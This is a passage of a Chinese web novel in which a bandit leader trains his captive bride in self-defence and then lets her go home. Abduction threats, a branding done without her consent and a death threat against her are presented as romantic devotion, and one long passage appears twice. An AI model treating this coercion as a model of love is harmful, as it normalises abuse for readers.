等待的滋味很心焦,慕瑶甚至突然觉得自己的想法真是可笑到不可思议,别人都是怕遇到坏人,而自己盼着坏人出现。又等了一会儿,远远地来了三个年轻人。等他们走近了,慕瑶才发现这三人都长得贼眉鼠眼的,看着就不像好人。 刚才坏人没来时,慕瑶心里盼着,可坏人真的出现了,她心里难免紧张起来,毕竟这还是她人生第一次遇到真正意义上的坏人。 慕瑶有点害怕了,甚至在那一刻忘记了与叶阳晨打赌的事,她下意识地扭过头去,尽量不看他们,也不让他们看见自己。 可那三个人路过时,皆用眼睛打量着坐在路边慕瑶,其中一个色狼低声道:“大哥,这小妹妹长得真是绝色极品,要不我们把她掠走?” 另一个坏蛋补充:“是啊,大哥,我们玩够了,就可以把这小女娃卖到妓院去,必能卖个好价钱。 虽然他们说话的声音不大,但是慕瑶还是听见了他们的对话,不由得更加紧张。 淫贼头目被自己的弟兄说得活了心,他谨慎地左右看了看,然后凑近问着慕瑶:“小妹妹,你怎么坐在这里啊?” “哦,我瞒着…家人出来玩,结果…迷了路。”这番说辞是叶阳晨提前教她的,说这话时,慕瑶的声音都是颤抖的。 一听慕瑶这么说,三个坏蛋挤眉弄眼,互使眼色,走失了的小女孩就意味着家人不在附近,正好下手。 坏蛋头目猥琐一笑,“要不你跟我们一起上路吧?我们三人送你回家。” “我不去。”慕瑶轻声说道。虽然知道叶阳晨就在树上,她并不会真有什么危险,可心跳还是越来越快。 三人见劝说不成,便过来拉扯慕瑶的衣服和胳膊。 慕瑶惶惶失色,“你们别碰我,你们要做什么啊?” 坏人是不会因为你的求救而心存怜悯的,见慕瑶如一只惊慌失措的小白兔,三人就更加兴奋地yin笑。 慕瑶觉得多说无益,这才对三个流氓挥拳出脚。三个流氓根本没有把慕瑶这个小女孩放在眼里,一起扑了上来。 由于慕瑶太过紧张,所以出拳出脚的速度都慢了些,力度也就不够,她也就发挥出平时习练时的一半水平。叶阳晨在树上看着慕瑶的表现发挥,连连叹气摇头。 慕瑶一个飞腿,将面前的一个小流氓踹倒。这时她身后的另一个小流氓捡起路边的棒子,想要从后方偷袭慕瑶。 叶阳晨眼见棒子快要打到慕瑶的后颈,再也不能待在树上看着,他厉喝一声,便从树上跳了下来。 叶阳晨并未有任何废话,三拳两脚便把那三个流氓打得屁滚尿流。三人见不是叶阳晨的对手,就连滚带爬地跑了。 待淫贼跑远,林慕瑶走到叶阳晨跟前,得意笑道:“我刚才打得不错吧?” 叶阳晨冷哼了一声,“什么不错?就打成这个样子,还敢说不错?” 慕瑶噘嘴道:“我不是把那两个坏蛋打倒下去啦?” “那你怎么没说第三个坏蛋还差点在你身后偷袭了你呢?” 林慕瑶哑口无言,噘着嘴不说话。 叶阳晨摇了摇头,“这次你没有过关,走吧,我们回去了。” 慕瑶不解,“回哪儿去?” “当然是回长风寨啊!” “我不想回去,你不是说我打得不好吗?我想继续坐在这里等坏蛋,下次我一定能打赢。” 叶阳晨撇了撇嘴,“我看还是算了,你还是回去再练一段时间再来。刚刚要是我晚下来一步,你就有危险了。这次你失败固然有心理素质差的原因,但更多的是能力不足。” 林慕瑶反复跟叶阳晨商量,叶阳晨就是不同意,慕瑶心里十分郁闷。回泽清山的路上,她也是一直闷闷不乐的。 叶阳晨见她这个样子,宠溺一笑,安慰道:“你急什么?又不是不让你回家。并非是我难为你,我说话也都是算数的,绝不反悔。” 慕瑶娇嗔:“你就是为难我。” 叶阳晨苦笑,“那好,我们来分析一下你刚才犯了哪些错误。首先你要知道,临敌时害怕、胆怯是大忌,更不能急于求胜。再者,你犯了最低级的错误,也是我教你好多遍你都记不住的。攻击敌人时,要时刻保持警惕。你不能只看前面,要眼观六路,耳听八方,敌人可不会只从你的正面来。第三,进攻敌人时不能心慈手软,即使你不敢杀人,也要将敌制服,这样敌人才不会对你构成威胁。而你刚刚出拳出脚时很怕把那三个流氓打伤,这样怎么行呢?你倒是心善了,可敌人去呲着牙要吃你呢。” 慕瑶听着叶阳晨的话,心里想:“他怎么观察得这么仔细啊?”慕瑶虽然嘟嘟着嘴,但也不得不承认叶阳晨说的都是对的。 接下来的日子,林慕瑶继续跟着叶阳晨习武,甚至比之前更加刻苦认真。不过学了几天,她便央求叶阳晨下山,叶阳晨每次都以时候未到拒绝。 转眼又两个月过去了,叶阳晨终于同意让慕瑶再次下山。 林慕瑶依旧坐在上次坐的位置,叶阳晨也依旧躲在树上。 看着过往的路人,慕瑶比第一次来还紧张,她怕失败了又要学习两个月再来。只是这已经是第二次来了,加之又练了些时日,本事又长了一些,她的心态便比上次好了很多。 那天慕瑶等了许久,太阳都快落山了,这条路上也没有坏人经过,她以为只有等明天再来了。正在这时,远处走过来五个人,那五个人边往慕瑶这边看,边小声嘀咕着什么。 他们走了过来,连挑逗、搭讪都省了,直接就要拽慕瑶走。幸亏慕瑶也早有防备,她站起身便跟这些强盗打了起来。 慕瑶两掌将面前两人打倒,又一个回旋踢、两下侧踢将后面三人踢倒。这帮坏蛋没想慕瑶的身手如此了得,见占不到便宜,五人狼狈而逃。 见五 18. 第十八章 《赤染兰香》全本免费阅读 林慕瑶心里一沉,很怕叶阳晨反悔,“什么条件?” “以后你不在我的身边了,你总要学些本事保护自己。” “楚宗师父不是教我易容术了吗?还学什么本事?” “如遇非常紧急的情况,你来得及易容吗?学些三脚猫的拳脚功夫防身还是要的。” 慕瑶一听要习武,便立即蹙眉,“我不学。”慕瑶心想:“这个笨蛋,回到家后我很少出门,哪有需要保护自己的时候嘛。” “那我就不能放你走了。”说完叶阳晨从身旁扯一片树叶,用它吹着动听的旋律。 “你无赖。”与叶阳晨待久了,慕瑶已经没那么惧怕他了。有的时候叶阳晨不讲道理,她就会骂叶阳晨无赖。 叶阳晨吹着树叶,完全不理会林慕瑶,一副随你怎么骂都无所谓态度。 过了一会儿,慕瑶才妥协嘟嘴道:“好啦,我学就是了。” 叶阳晨侧脸一笑,“我是不能让你有一丝一毫危险的,我希望你至少遇到小流氓时,还是能自己撂倒他的。” “那要学多久?” “学多久取决于你聪不聪明,还有你的勤奋程度。快的话两三个月,慢的话半年吧。” 慕瑶翘着嘴巴,“你是故意的,你就是拖延时间不想让我走。” “这次真的不是,我这个人既然说了就不会赖账,我是真的担心你。” 慕瑶不敢再多和叶阳晨争执,她很怕一会儿真把叶阳晨惹生气了,叶阳晨改主意不放自己走了,那该怎么办? 第二日,叶阳晨先教慕瑶学骑马,他特意给慕瑶找了一匹小马。还亲手给慕瑶做了头盔和护膝,就是怕慕瑶从马上摔下来受伤。 那些天,慕瑶每天都要在马背上待上两、三个时辰。起初慕瑶胆子小,连缰绳都握不稳。一个星期后,慕瑶骑得好一些了,到了第三个星期,她已经骑得不错了。 学的过程中,慕瑶心里很排斥学这些,她不知道自己学习这些的意义是什么。在慕瑶看来,她既不准备去行走江湖,也不准备去做个什么女将军,所以学骑马根本无用武之地。慕瑶性格文雅闲静,她宁愿学针织女红,也不想学这些。但是真学会了,她还是很有成就感的。 接着,叶阳晨开始教林慕瑶一些拳脚功夫。习武就比骑马还要枯燥了,而且还更累。有几次,慕瑶都跟叶阳晨抱怨说不学了,每当这时,叶阳晨就像没听见一样,慕瑶很没趣,就只有继续坚持学下去。 由于时间太短,叶阳晨也只能教慕瑶一些实用的招式,比如怎么出奇制胜,怎么直击要害。不过再精妙的招式,也不能只是花架子,需要花功夫练才行。而且慕瑶没有任何武功底子,出拳出脚柔弱无力,自然费的时间要多一些。叶阳晨强调好多遍出拳要快,可慕瑶打出的拳还是跟太极似的。 叶阳晨这个“老师”性子急,重复说了几遍慕瑶不怎么“听话”,他就有些不耐烦了。 那天,有个招式慕瑶怎么都练不对,叶阳晨气得坐在了路边,“好了,休息一会儿吧,你这个学生可真笨。” 慕瑶蹙眉咬唇,明明是被叶阳晨逼着学的,还天天被叶阳晨训,心里顿时觉得很委屈。慕瑶带着怨气道:“那我不学了。” “不学好啊,正好不用离开这里了。” “你...你…你混蛋。”慕瑶被气得实在不行,这才“口不择言”了。 叶阳晨咧嘴一笑,戏谑道:“这么柔婉沉静的慕瑶,也学会骂人了。” 被叶阳晨这么一提醒,慕瑶有点难为情,“都是跟着你学坏的,近墨者黑。”慕瑶也察觉到自己在慢慢变化着,从前她说话,不要说带“脏”字,就是说话太大声都是不可能的。 礼教使然,像她们这种大家闺秀名门小姐自小便学习礼仪规矩。她和妹妹的行为举止少有不妥,都少不了被爹爹林远峰责骂。诗怡的性格直率豪爽,行事随心随性,不拘小节,林远峰甚至多次动用家法教训她。 隔了一会儿,慕瑶才嘟着嘴道:“我们继续练吧。” 叶阳晨拿她没办法,只好站起来,继续当她的“老师”。 慕瑶的皮肤特别嫩,稍有磕碰就会留下淤青,所以那段日子,慕瑶的胳膊上腿上,经常是青一块紫一块的。每天晚上慕瑶沐浴后,叶阳晨便在床上给她擦一些止痛消肿的药。虽然学功夫的主意是叶阳晨出的,可看着慕瑶凝脂般的玉肤受了伤,他还是会很心疼。 那日慕瑶正学着功夫,她好奇道:“阳晨,你为何只教我拳脚,却不教我刀剑呢?” 叶阳晨如实说道:“练刀剑那些,手掌容易磨出茧子,那样手就不好看了。” 慕瑶心里感动,但嘴上依旧小声嘟囔着:“才不要领你的好意。” 练了两个月,慕瑶终于掌握了一些躲闪攻击的要领了,她便整日央求叶阳晨放自己回家。 叶阳晨淡淡说道:“你现在所学,如果不出意外的话,应该可以打败一些小流氓了。” 慕瑶难掩兴奋,“那我是不是可以走了?我出师了吗?” 看着慕瑶着急的样子,叶阳晨心里还是止不住地失落,“难道她对自己就没有一点感情?没有一点留恋吗?” 叶阳晨藏起心中的失落,“你别急,我们总是要检验一下你的学习成果,看你能不能过关?” 话音一落,慕瑶的心悬起来,“什么过关?怎么检验?” “就是我们下山去,如果遇到了坏蛋,你真的打赢了,就算过关了。” 一听叶阳晨这样说,慕瑶心里无奈也煎熬,好像自己闯过了一关,又有一关,她就感觉叶阳晨在难为自己。想到如果不能通过叶阳晨的考验,自己就又走不了了,慕瑶心里不由得紧张起来。 慕瑶转问:“我们下山就一定能遇到坏蛋吗?” “应该能的。” 慕瑶噘起嘴,一副不信的样子,“世道哪有那么不太平?根本没有那么多坏人的。” 叶阳晨自言自语小声道:“你长成这个样子,坏人就聚过来。” “你说什么?” “不告诉你。” 翌日,叶阳晨言出必行,便带着慕瑶下山去了。两人走了很久,直至出了泽清山的地界,叶阳晨才停住脚步。 慕瑶好奇问道:“我们为什么要走这么远?” “因为离泽清山附近的地方没有坏人。” “那是为什么?” “哪个敢在泽清山范围内做坏事,那他就是找死。我们虽然是别人口中的“土匪”,但盗亦有道。” 见叶阳晨那么一本正经地解释,慕瑶忍着嘴角的笑意。 叶阳语气郑重,“好了,你就坐在路边等着坏人来,我藏在树上。遇到坏人你出手就是了,只要你把坏人打跑,就算你赢。如果你打不赢,你就求救,我就从树上跳下来救你。”说完,叶阳晨纵身一跳便上了树。 慕瑶便坐在路边耐心地等待,这条路上虽是大路,但路过的人并不算多。她等了半个时辰,有樵夫,有渔夫,也有货郎经过,就是没有什么坏人。 等待的滋味很心焦,慕瑶甚至突然觉得自己的想法真是可笑到不可思议,别人都是怕遇到坏人,而自己盼着坏人出现。又等了一会儿,远远地来了三个年轻人。等他们走近了,慕瑶才发现这三人都长得贼眉鼠眼的,看着就不像好人。 刚才坏人没来时,慕瑶心里盼着,可坏人真的出现了,她心里难免紧张起来,毕竟这还是她人生第一次遇到真正意义上的坏人。 慕瑶有点害怕了,甚至在那一刻忘记了与叶阳晨打赌的事,她下意识地扭过头去,尽量不看他们,也不让他们看见自己。 可那三个人路过时,皆用眼睛打量着坐在路边慕瑶,其中一个色狼低声道:“大哥,这小妹妹长得真是绝色极品,要不我们把她掠走?” 另一个坏蛋补充:“是啊,大哥,我们玩够了,就可以把这小女娃卖到妓院去,必能卖个好价钱。 虽然他们说话的声音不大,但是慕瑶还是听见了他们的对话,不由得更加紧张。 淫贼头目被自己的弟兄说得活了心,他谨慎地左右看了看,然后凑近问着慕瑶:“小妹妹,你怎么坐在这里啊?” “哦,我瞒着…家人出来玩,结果…迷了路。”这番说辞是叶阳晨提前教她的,说这话时,慕瑶的声音都是颤抖的。 一听慕瑶这么说,三个坏蛋挤眉弄眼,互使眼色,走失了的小女孩就意味着家人不在附近,正好下手。 坏蛋头目猥琐一笑,“要不你跟我们一起上路吧?我们三人送你回家。” “我不去。”慕瑶轻声说道。虽然知道叶阳晨就在树上,她并不会真有什么危险,可心跳还是越来越快。 三人见劝说不成,便过来拉扯慕瑶的衣服和胳膊。 慕瑶惶惶失色,“你们别碰我,你们要做什么啊?” 坏人是不会因为你的求救而心存怜悯的,见慕瑶如一只惊慌失措的小白兔,三人就更加兴奋地yin笑。 慕瑶觉得多说无益,这才对三个流氓挥拳出脚。三个流氓根本没有把慕瑶这个小女孩放在眼里,一起扑了上来。 由于慕瑶太过紧张,所以出拳出脚的速度都慢了些,力度也就不够,她也就发挥出平时习练时的一半水平。叶阳晨在树上看着慕瑶的表现发挥,连连叹气摇头。 慕瑶一个飞腿,将面前的一个小流氓踹倒。这时她身后的另一个小流氓捡起路边的棒子,想要从后方偷袭慕瑶。 叶阳晨眼见棒子快要打到慕瑶的后颈,再也不能待在树上看着,他厉喝一声,便从树上跳了下来。 叶阳晨并未有任何废话,三拳两脚便把那三个流氓打得屁滚尿流。三人见不是叶阳晨的对手,就连滚带爬地跑了。 待淫贼跑远,林慕瑶走到叶阳晨跟前,得意笑道:“我刚才打得不错吧?” 叶阳晨冷哼了一声,“什么不错?就打成这个样子,还敢说不错?” 慕瑶噘嘴道:“我不是把那两个坏蛋打倒下去啦?” “那你怎么没说第三个坏蛋还差点在你身后偷袭了你呢?” 林慕瑶哑口无言,噘着嘴不说话。 叶阳晨摇了摇头,“这次你没有过关,走吧,我们回去了。” 慕瑶不解,“回哪儿去?” “当然是回长风寨啊!” “我不想回去,你不是说我打得不好吗?我想继续坐在这里等坏蛋,下次我一定能打赢。” 叶阳晨撇了撇嘴,“我看还是算了,你还是回去再练一段时间再来。刚刚要是我晚下来一步,你就有危险了。这次你失败固然有心理素质差的原因,但更多的是能力不足。” 林慕瑶反复跟叶阳晨商量,叶阳晨就是不同意,慕瑶心里十分郁闷。回泽清山的路上,她也是一直闷闷不乐的。 叶阳晨见她这个样子,宠溺一笑,安慰道:“你急什么?又不是不让你回家。并非是我难为你,我说话也都是算数的,绝不反悔。” 慕瑶娇嗔:“你就是为难我。” 叶阳晨苦笑,“那好,我们来分析一下你刚才犯了哪些错误。首先你要知道,临敌时害怕、胆怯是大忌,更不能急于求胜。再者,你犯了最低级的错误,也是我教你好多遍你都记不住的。攻击敌人时,要时刻保持警惕。你不能只看前面,要眼观六路,耳听八方,敌人可不会只从你的正面来。第三,进攻敌人时不能心慈手软,即使你不敢杀人,也要将敌制服,这样敌人才不会对你构成威胁。而你刚刚出拳出脚时很怕把那三个流氓打伤,这样怎么行呢?你倒是心善了,可敌人去呲着牙要吃你呢。” 慕瑶听着叶阳晨的话,心里想:“他怎么观察得这么仔细啊?”慕瑶虽然嘟嘟着嘴,但也不得不承认叶阳晨说的都是对的。 接下来的日子,林慕瑶继续跟着叶阳晨习武,甚至比之前更加刻苦认真。不过学了几天,她便央求叶阳晨下山,叶阳晨每次都以时候未到拒绝。 转眼又两个月过去了,叶阳晨终于同意让慕瑶再次下山。 林慕瑶依旧坐在上次坐的位置,叶阳晨也依旧躲在树上。 看着过往的路人,慕瑶比第一次来还紧张,她怕失败了又要学习两个月再来。只是这已经是第二次来了,加之又练了些时日,本事又长了一些,她的心态便比上次好了很多。 那天慕瑶等了许久,太阳都快落山了,这条路上也没有坏人经过,她以为只有等明天再来了。正在这时,远处走过来五个人,那五个人边往慕瑶这边看,边小声嘀咕着什么。 他们走了过来,连挑逗、搭讪都省了,直接就要拽慕瑶走。幸亏慕瑶也早有防备,她站起身便跟这些强盗打了起来。 慕瑶两掌将面前两人打倒,又一个回旋踢、两下侧踢将后面三人踢倒。这帮坏蛋没想慕瑶的身手如此了得,见占不到便宜,五人狼狈而逃。 见五 19. 第十九章 《赤染兰香》全本免费阅读 此时,叶阳晨正巧从屋外进来,“慕瑶,你起床了,那你盥洗一下,我们去用早餐。” 因为这烙印烙下的是叶阳晨的名字,林慕瑶毫不怀疑这烙印一定是叶阳晨烙下的。 慕瑶眼神绝望,冷冷地问:“我身上怎么会多了一个烙印,你对我做了什么?” 叶阳晨知道此事瞒不住,也便实话实说道:“瑶儿,你别生气,你要离开了我了,我怕你把我忘了,所以就留个印迹做纪念。” 慕瑶气得发抖,泪水簌簌而下,“叶阳晨,你混蛋,你怎能对我做这样的坏事?”慕瑶知道印记既然是烙上的,就是永远去不掉的了。而她就要终身带着这个印记,要是被母亲知道了怎么办?慕瑶还是个小女孩,发生这样的事她完全没有心理准备,也没有消化此事的能力,于是她满脑子开始胡思乱想。 叶阳晨不知该怎么安慰慕瑶,他预料慕瑶会生气,但确实没想到她会气到如此程度。 慕瑶知道叶阳晨懂得医术,便道:“你快把它去掉,恢复原样。” 叶阳晨如实说道:“我是用了特殊的方法烙上去的,这个印记是永远去不掉的,它永不磨灭,也永不消失。” 林慕瑶赌气道:“即使我身上留下一块疤,我也要把你的名字抠掉。”那时的慕瑶年纪不大,还不懂这个印记对她意味着什么。但她非常厌恶这个印记,好像这个印记留在自己身上就是一种耻辱,好像有了这个印记,她的世界再也无法摆脱叶阳晨。 “你当真要这样做?”叶阳晨的眼神逐渐冷寒,不带一丝温度。 “我就要这样做。”慕瑶的语气中带着一丝执拗,还带着一丝怨气。 叶阳晨眼里生出一丝狠戾,“你听好了,以后每年我都会去西关道看你,也会看你身上的这个印记。如果你胆敢把印记去掉,我就杀了你。你最好相信我的话,我说到做到。你不要以为你回了西关道就可以赖掉与我的婚事,你永远是我妻子,这是永远无法改变的事实。” 林慕瑶从未见过这样的叶阳晨,甚至比自己刚上山时见到的叶阳晨还冷酷,还不近人情,她不寒而栗,不敢再说针锋相对的话去刺激叶阳晨。最近几个月,慕瑶和叶阳晨相处的不错,不是今天发生这件事,她几乎忘记那个冷傲的叶阳晨了,也忘记了叶阳晨暴躁易怒的坏脾气。 林慕瑶大喊一声:“叶阳晨,我恨你,我恨你,我永远不会原谅你的。”说完,慕瑶再次伤心地哭起来。泪水像断了线的珠子,而那种伤心也是从未有过的,几乎痛到无法呼吸。 两人都说了狠话,好像到了分别的时刻,都不再需要给彼此留任何退路。 听到慕瑶说会恨自己,叶阳晨的心被深深刺痛。他说话的声音较刚才也低了许多,语气里更是充满了失落,“恨就恨吧,我不管,也管不了那么多了。你要走,就只能带着这个印记走。你说我霸道也好,无理也罢,总之,我就是心悦你,此生不变。” 话音一落,慕瑶被叶阳晨的强势压住了,屋子内只剩下慕瑶的抽泣声。血狼火灵不知两人为什么吵架,不时发出“呜呜”的低声,好像是在劝慰一般。 屋子逐渐安静下了,只有空气中弥漫着失落和难过。良久,叶阳晨冷淡一问:“那你还走不走?” 慕瑶停止了哭声,说的话像是在赌气,“走,当然走。” “走的话就先跟我去用早饭。” 慕瑶刚要下床,叶阳晨走过去弯下腰握起她的脚,想要帮她穿鞋。 “还是我自己来吧。”在泽清山待的这一年,慕瑶下床,只要叶阳晨在屋子,都是他帮着慕瑶穿鞋。 叶阳晨的手一顿,“再帮你穿一次吧,以后机会少了。” 听他这样说,慕瑶的心弦好像被轻轻触动了一下。是那种不细细感受,很难察觉的那种感觉很微弱,不是细细感受, 穿好鞋子,慕瑶简单洗漱后,叶阳晨拉着慕瑶的手去吃早餐。 吃完饭,两人回屋里拿上包裹就准备出发了。包裹里都是路上吃的用的,还有几件慕瑶常穿的衣服。 叶阳晨把一把剑递给慕瑶,“这把玉辰软剑给你防身,它可以别在腰间,很方便的。” 慕瑶刚刚嘴唇翕动,叶阳晨连忙道:“不准拒绝。”然后,他不由分说地亲自把软剑绕在了慕瑶的腰身处。 一切准备停当,这回真的要走了。 临出门的时候,慕瑶看见火灵正在瞅着自己,几乎是瞬间,她的眼泪就忍不住了。毕竟火灵救过自己一命,慕瑶对火灵有着不一样的感情。慕瑶从来没有想到,当自己离开这里的时候,竟会对这个自己曾经恨之入骨的地方有一丝不舍。 人都是讲感情的,你之所以会留恋那些烦恼、难过、伤心的人或事,是因为它们曾不经意间走进过你的心。 慕瑶跑过去蹲下来抱着火灵,轻轻摸着火灵的头,“你要乖一点……” 慕瑶很想说有机会回来看它,但是她不知道还有没有机会。火灵再次发出呜呜的低沉声,像是在回应慕瑶一般。 慕瑶还清楚记得刚见到火灵的情景,她当时害怕极了,生怕一不小心就被这头狼吃得连骨头都不剩了。后来慕瑶逃跑,火灵救了自己一命,从那时起,她开始不那么恐惧这头猛兽。后来慕瑶和火灵竟成了朋友、亲人,她时常牵着火灵出去玩。 叶阳晨本就不想让慕瑶离开,看到这一幕,他更加不舍。叶阳晨难受道:“走吧。” 慕瑶这才站起来,跟着叶阳晨出了屋。 这时火灵也追了出来,它极通人性,好像预感到什么似的,一直慢慢跟在他们两人身后。 叶阳晨回头吼了一声,“回去。”火灵这才失望地停住脚步。 芷萱没有来送慕瑶,因为她本来就不喜欢这个嫂子,因为她认为嫂子对哥哥不好,配不上哥哥的那颗心。清扬爱屋及乌,因为心疼哥哥,他将两人送到山寨门口。 出了山寨,一路山路、水路、林间路,泽清山渐渐远去。 虽然慕瑶已经学会了骑马,可她始终不是很熟练,叶阳晨便与慕瑶共乘一骑。 一路上,因为玲珑印的事,慕瑶一直不搭理叶阳晨。没有这个烙印之前,毕竟慕瑶与叶阳晨相处了一年,叶阳晨又对她做了许多好事,她已经开始不那么讨厌叶阳晨了,甚至说有一点点好感了,可是这个烙痕又将两人的关系拉入谷底。 晚上露宿客栈,两人躺在一张床上,但和从前不同的是,慕瑶背对着叶阳晨。 这种冷漠让叶阳晨如鲠在喉,很不舒服,“慕瑶,你就打算以后再也不理我了吗?” 慕瑶装睡不理叶阳晨。 叶阳晨语气如常,“让我抱抱你,如果你不让我抱,明天我就带你回泽清山。” 慕瑶怕叶阳晨说的是真的,只好转过身,钻到叶阳晨的怀里,只是嘴里小声嘟囔着:“等我回家后,看你还怎么欺负我。” 赶了三天路,叶阳晨与慕瑶路过一片茂密的树林。 当叶阳晨发现这片树林怎么都走不出去时,他便知道自己和慕瑶陷入了迷阵。叶阳晨好歹是古野的弟子,他自信无论什么样的迷阵他都能走得出去,而现在两人走了一炷香的功夫,好像还是在原点徘徊。叶阳晨心中了然,这个迷阵能困住自己,那么一种可能,就是这个迷阵是古野设置的。 叶阳晨索性拉着慕瑶坐在原地不走了,坐了半个时辰后,远处走来一个老头。 慕瑶有点害怕,渐渐往叶阳晨的身后躲。叶阳晨拍拍慕瑶,“别怕,那人是我师父古野,他是星云门的掌门人。” 慕瑶诧异,她纳闷叶阳晨怎么有那么多师父,而且好像每个人都很古怪。 老头走进了后,叶阳晨恶人先告状,“师父,你为何给我设迷障啊?” 古野 20. 第二十章 《赤染兰香》全本免费阅读 本来说要住十天,但这一住就住了一个月。慕瑶虽然想早点回到家,但却不敢跟叶阳晨和古野说。 之前拜师时百般不情愿,等到离开时,慕瑶眼含热泪拜别师父。人都是有感情的,慕瑶能真实感觉到古野对自己这个徒弟的关爱。 古野心里也很难受和不舍,但他不形于色,“好啦,又不是以后见不到了,我会经常去看你们两个小鬼的。” 古野看向叶阳晨,“以后丫头除了是你媳妇,还是我徒弟,你要是再敢欺负她,看我不好好收拾你。” 听师父这么一说,慕瑶鼻子更是一酸,被宠在手心的感觉总是不错的。 叶阳晨打趣道:“以后瑶瑶不仅是我娘子,还是我的师妹,我怎么可能欺负她呢?” 离开星河苑的时候,慕瑶心里五味杂陈,现如今她与叶阳晨有了一个共同的师父后,也就意味着,两人之间那千丝万缕的联系,便更难割断了。 几日后,叶阳晨带着慕瑶回了西关道。看到城墙上“西关”两个大字,慕瑶的心终于落了地。这一年有太多的悲欢离合,再次回到西关道,慕瑶感慨万千。明明只离开了一年,却感觉从前生活在这里,已经是很久远的事了。 林慕瑶和叶阳晨骑马进了城,到了林府不远的地方,叶阳晨才翻身下马,然后把慕瑶从马上抱了下来。叶阳晨不舍道:“我就送你到这里了。” 慕瑶扭头便要走。 叶阳晨再次抓住她的手,“等等,我还有几句话要与你说,这一别,又要一年才能见你了。以后每年七夕前,我都来西关看你。” 慕瑶不说话,任由他拉着自己的手。 “回家后好好照顾自己,千万不要瘦了。”叶阳晨深情叮嘱道。 慕瑶还是不说话。 “你就别生我的气了。”叶阳晨从未如此温柔地说话。 慕瑶瞪着叶阳晨,“我不仅要一直生的气,还要恨你。” 叶阳晨从褡裢里拿出一个发簪盒,然后在慕瑶面前打开,里面是一支兰花状的羊脂白玉发簪。慕瑶瞥了一眼,见白玉光润无暇,心知此簪一定是上品。 叶阳晨温声道:“瑶儿,这个送给你,它是我找中安最好的工匠定制的。工匠跟我说,这个簪子叫“汐澜簪”。” “我不要,我不喜欢戴饰物,你也知道的。” “就这一件,你长大了再戴。” 慕瑶见推不掉,只好接过发簪盒,随之把盖子盖上,“我可以走了吗?” 叶阳晨心痛不舍地点点头。 见叶阳晨同意了,慕瑶当即转身,她头也不回地走了。 林慕瑶知道叶阳晨不舍得自己,但那一刻她却没有任何不舍。因为玲珑印的事,慕瑶发誓永远不会原谅叶阳晨的,至少她当时在心里是那么认为的。 叶阳晨望着慕瑶的背影,心里空落落的。 林慕瑶来到林府大门前,叩响门环,“爹…娘,我回来了。” 少时,管家林忠出来开门,看到林慕瑶的瞬间,他喜出望外,“啊…小姐,是你啊,你总算是回来了。” 此时,林远峰正在书房练字,忽地听见外边有家仆的喊叫声,大喊的是“小姐回来了”。林远峰还以为是自己听错了,他仔细听了听,果然喊的是女儿回家了。 林远峰和沈芸连忙往前院跑,林远峰见到女儿的一瞬间,早已老泪纵横。这一年来,他多次派兵去找寻女儿,都无功而返,他几乎对女儿平安归来已不抱希望。 沈芸紧紧搂住慕瑶,幸福的泪水怎么都止不住。抱了片刻,沈芸突然问道:“瑶儿,你怎么样?有没有受伤?有没有受罪?” 慕瑶摇了摇头,“娘,我很好,我一切都好。” 这时,慕瑶的妹妹林诗怡也跑了过来。诗怡抱住慕瑶,“姐,你终于回来了,你总算回来了,我好担心你,我好想你,我真怕再也见不到你了。” 慕瑶拍怕诗怡的背,暖声安慰着:“都过去了,没事了,我这不是回来了吗?” 所有家人都与慕瑶亲近了一会儿后,慕瑶的贴身丫鬟洛洛这才凑上来,她扑通跪倒在地,“小姐,洛洛早也盼,晚也盼,总算把你盼回来了。” 洛洛全名江雨洛,是慕瑶身边最亲近的丫鬟。慕瑶待她如妹妹一般,两人感情甚笃。 慕瑶把洛洛搀扶起来,“洛洛,再见到你真好!” 亲情陪伴,温暖围绕,慕瑶幸福到有种不真实的感觉,她现在都不相信自己离开泽清山回了家,她也不相信叶阳晨真的放了自己。 众人来到大厅坐下来,林远峰这才问起女儿这一年的遭遇。 尽管家人问东问西的,林慕瑶却不想说太多,只说是被一群土匪抢上山,不过土匪并没有为难自己,后遇好心人,把自己偷偷放了。 慕瑶没把所有实情告诉父母,因为说了那些也无济于事,还会平添父母的担心和烦恼。而且林慕瑶知道叶阳晨的本事,即使父母知道了自己在泽清山受的委屈,也无法给自己讨回公道。索性她现在平安回来了,就息事宁人算了。 听女儿说一切皆好,林远峰才放下心来,他看向丫鬟,“洛洛,伺候你家小姐沐浴更衣。” “是,老爷。” 林远峰又笑着叮嘱管家,“林忠,你快通知厨房,今晚做一桌子好菜,再把地窖里的好酒取出一坛子。大小姐回来了,今晚我们一家人要好好庆祝一下。” 慕瑶还没有与家人亲近够,就回了后院。沐浴更衣并不急,她要先去看看她的祖母。这一年,慕瑶思念亲人,有一半时间里是思念祖母的。孤独无助时,她总是会想起祖母轻抚着自己的头,然后一脸慈爱冲着自己笑的样子。 慕瑶快步走到祖母住的院子,也顾不上敲门就推门而入。 此时,丫鬟正在伺候老太太喝茶。老太太已经瘫痪在床上多年了,刚刚听到外面有嘈杂的声音,她心里还在担心外面发生了什么事。现在见闯进来的是慕瑶,是自己最最疼爱的孙女,茶杯忽地掉在地上,老太太两眼瞬间凝住,只有褐色的瞳仁在微微闪动。她的两只手不自觉地伸出去,做了一个想抱抱的姿势。 慕瑶跑上前,扑到祖母的怀里,感情像潮水一般在尽情释放,她呜咽地哭了起来。老人家摸着慕瑶的头,也是激动万分,老泪纵横。 祖孙两人哭了许久,慕瑶才渐渐敛住了抽泣声。 老太太表情依然难过,激动道:“我的瑶儿终于回来了,祖母还以为再也见不到你了呢。” “祖母,我很好,我这不是回来了吗?”慕瑶试图安慰着祖母,老人家年岁大了,不能太激动,那样对心脏不好。 老人家把慕瑶扶起来,让孙女坐在自己身旁,细细问着孙女这一年的遭遇。慕瑶把刚刚跟父母说过的那套说辞又给祖母说了一遍,她不能让祖母太过心疼和担心自己。 慕瑶不停地询问着祖母的身体,她觉得自己走的这一年祖母好像又苍老了许多。慕瑶轻抚着祖母的脸,看着那霜白的两鬓,心疼道:“祖母,你的头发又白了许多。” 屋子里祖母的大丫鬟也有些动容,擦着眼角说道:“大小姐,你不在家的这一年,老太太整日以泪洗面,夜不能寐。” 慕瑶心如刀绞,觉得都是自己把祖母害成这样的。她陷入深深自责的同时,又增加了对叶阳晨的恨意。慕瑶认为,如果不是被叶阳晨抢上山寨,如果不是叶阳晨迟迟不肯放自己回家,祖母也不会担忧成疾。 老太太慈爱笑着,“瑶儿,你别听丫鬟乱说,祖母吃的好,睡的香,就是为了等你回家。” 刚刚停住哭泣不久,慕瑶的眼圈又红了,“祖母,以后我再也不离开你的身边。” “好好好,瑶儿,你刚回来,还是去洗漱一番,一会儿就要用晚饭了。” 慕瑶不舍地站起来,“祖母,那我一会儿再来看您。” 